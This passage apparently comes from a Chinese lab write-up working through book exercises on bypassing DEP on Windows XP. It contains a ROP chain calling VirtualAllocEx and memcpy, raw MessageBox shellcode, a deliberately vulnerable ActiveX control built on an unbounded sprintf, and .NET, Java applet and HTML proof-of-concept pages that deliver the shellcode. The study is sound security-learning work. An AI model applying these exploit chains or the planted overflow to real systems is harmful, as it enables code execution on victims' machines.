"\x00\x00\x03\x00" // <-- ebp+0x8
// 4 push esp jmp eax (*src)
"\xc6\xc6\xeb\x77" // <-- ebp+0xc
// 4 count
"\xff\x00\x00\x00" // <-- ebp+0x10
// 4 into memcpy
"\xb8\x1d\x92\x7c"
;
编译调试,我们单步到memcpy返回前:
可以发现,它将返回到上面shellcode中*dest
前那4个nop处,很巧吧!如果返回到别的地方我们还不好处理,幸好这里没有被占用。所以我们只需要在这个位置放上申请的可执行空间的起始地址,就可以转过去执行了。我们直接在最后跟上messagebox弹窗指令段,然后调试过去看看:
如上图,由于在memcpy时是从栈上的count
参数开始复制的,所以在开头引入了一些垃圾指令,导致我们的弹窗shellcode未能被正确地解析。这里有两个可行的方法:
- 在弹窗shellcode前添加一些nop
- 在之前提到的
*dest
前那4个nop处直接放上弹窗shellcode的起始地址即可(这里就是0x00030008
)
下面的最终shellcode采用第一种方案:
char shellcode[]=
// 180 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 -1 (current process)
"\xff\xff\xff\xff"
// 4 lpAddress
"\x00\x00\x03\x00"
// 4 dwSize
"\xff\x00\x00\x00"
// 4 flAllocationType
"\x00\x10\x00\x00"
// 4 flProtect
"\x40\x00\x00\x00"
// 4 nop
"\x90\x90\x90\x90"
// 4 pop eax retn
"\x26\xb8\x6e\x7d"
// 16 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4 pop ecx pop ecx retn
"\xf4\x1e\xbf\x77"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 pop ecx retn
"\xa0\x6f\x5f\x7d"
// 4 into allocated mem
"\x00\x00\x03\x00"
// 4 *dest
"\x00\x00\x03\x00"
// 4 push esp jmp eax (*src)
"\xc6\xc6\xeb\x77"
// 4 count
"\xff\x00\x00\x00"
// 4 into memcpy
"\xb8\x1d\x92\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 168 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
;
注:在书中作者的环境里,垃圾指令破坏了控制流,所以他要进行ESP、ESI、EDI的修复,而我这里不需要。
整个流程如下:
测试:
利用可执行内存挑战DEP
这种利用方式其实就是上一节的简化版,即不需要你自己去VirtualAlloc。我不清楚为什么作者的0x00140000
处是RWE
的,但是我这里并不是:
而且纵观整个内存布局,也没有发现这样的地方:
考虑到这里的shellcode布置比较简单,就是把上一节的去掉VitrualAlloc,所以我不再进行这个实验。
利用.NET挑战DEP (unsolved)
IE6及之后版本的IE可以使用.NET控件,它们运行于浏览器进程的沙盒内。.NET文件具有与PE文件一样的结构,具有.text段,被映射到内存中且具有可执行属性。如果将shellcode放入.NET中可执行的段中,然后转入这个区域执行,将绕过DEP。
准备材料:
- 具有溢出漏洞的ActiveX控件
- 包含shellcode的.NET控件
- 可以触发ActiveX控件中溢出漏洞的PoC页面
建立具有溢出漏洞的ActiveX控件:
此处的步骤与0day安全|11 亡羊补牢:SafeSEH最后一节基本相同,只不过这次需要关闭GS编译选项,因为我们要覆盖的是函数返回地址而非SEH。
测试代码如下:
void CVulnerAXCtrl::test(LPCTSTR str)
{
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// TODO: 在此添加调度处理程序代码
printf("aaaa");
char dest[100];
sprintf(dest,"%s",str);
}
编译并注册这个控件,同时记录下classid。
其他的过程略去不述,可以参考第十一章最后一节。
建立包含shellcode的.NET控件:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace DEP_NETDLL
{
public class Class1
{
public void Shellcode() {
string shellcode =
"\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090" +
"\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91" +
"\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
"\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
"\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
"\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
"\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06" +
"\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c" +
"\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
"\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
"\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050" +
"\uff53\ufc57\uff53\uf857";
}
}
}
注意编译为debug版本(release版本的优化选项会影响shellcode),并修改基址为0x24240000
:
编译后将其与PoC页面放在同一目录下:
编写可以触发ActiveX控件中溢出漏洞的PoC页面:
<html>
<body>
<object classid="DEP_NETDLL.dll#DEP_NETDLL.Class1"></object>
<object classid="clsid:03473293-EB7D-4973-83C8-D5F9D448072C" id="test"></object>
<script>
var s = "\u9090";
while (s.length < 54) {
s += "\u9090";
}
test.test(s);
</script>
</body>
</html>
测试:
我遇到了和这篇文章的作者同样的问题:IE没有加载DLL,OD里也看不到这个模块,但是ActiveX控件却正常加载。我采取了以下尝试,均不成功:
- 使用regasm对该.NET控件注册
- 将IE6的安全级别全部调整为“低”
- 将IE6更新为IE7
待以后有进展再补充。
利用Java applet挑战DEP (unsolved)
Java applet与.NET控件类似,都可以被IE浏览器加载到客户端,而且加载到IE进程的内存空间后这些控件都具有可执行性,所以我们可以将shellcode放在applet中。
准备材料:
- 具有溢出漏洞的ActiveX控件
- 包含有shellcode的Java applet
- 可以触发ActiveX控件中漏洞的PoC页面
建立ActiveX的过程与上一节完全一致,不再多说。下面来建立applet:
首先安装JDK 1.4.2。
然后编写如下代码并编译:
import java.applet.*;
import java.awt.*;
public class Shellcode extends Applet {
public void init(){
Runtime.getRuntime().gc();
StringBuffer buffer=new StringBuffer(255);
buffer.append("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090" +
"\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91" +
"\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
"\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
"\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
"\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
"\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06" +
"\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c" +
"\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
"\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
"\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050" +
"\uff53\ufc57\uff53\uf857");
}
}
javac Shellcode.java -target 1.1
最后建立PoC页面,将其与Shellcode.class放在同一目录下:
<html>
<body>
<applet code=Shellcode.class width=300 height=50></applet>
<script>alert("begin");</script>
<object classid="clsid:03473293-EB7D-4973-83C8-D5F9D448072C" id="test"></object>
<script>
var s = "\u9090";
while (s.length < 54) {
s += "\u9090";
}
s +="\u04FC\u1001";
test.test(s);
</script>
</body>
</html>
这个也没有成功。后来我参考0day安全软件漏洞分析实战记录-第一部分觉得可能是要把这些东西放在IIS的Web目录中才行,于是装了IIS5,可仍然不行。前一个小节依然无法找到DEP_NETDLL,本小节则是能够在OD中转到Shellcode去执行,但是不弹窗。直接打开网页只会在左下角显示小程序Shellcode started
,但是依旧不弹窗。
先这样。
疑问
在完成“利用Ret2Libc挑战DEP”部分后,我忽然意识到,我在该部分的所有实验都是在VS 2008内完成的,并非前面提到的“VC 6”。也就是说,我默认开启了SafeSEH。为了确认,我使用dumpbin
查看,发现的确有SafeSEH:
但是GS的确是关闭的。那么为什么我开启SafeSEH依然能exploit成功呢?
一个猜测是:由于关闭了GS,而我在操作过程中也没有触发其他异常,所以并没有触发SEH,同理也就没有触发SafeSEH机制。
我后来是怎么意识到自己之前用的是VS 2008呢?
因为后来我想反过头来去完成第十一章的Flash Player实验,结果打开VC 6后发现这个IDE是没有代码高亮的,而我昨天做过的实验中使用的IDE明明有代码高亮。
总结
本章学习了大量的构造栈帧的技巧。防御技术总在推陈出新,绕过技术总会过时,但是这些构造shellcode的技术是不会过时的,包括如何移动ESP,如何修复EBP,如何动态获取shellcode的地址等等。还是要反复思考、练习才能掌握。
另外,在面对复杂的shellcode布置时,作者采用了步步为营的方法,而不是一蹴而就。写一点调试一点,这样可以避免大错。这是一个经验。
我偶然在通关栈溢出(四):缓冲区溢出的防御技术及绕过一文中发现了利用mona插件自动构造绕过DEP的ROP链,很有意思。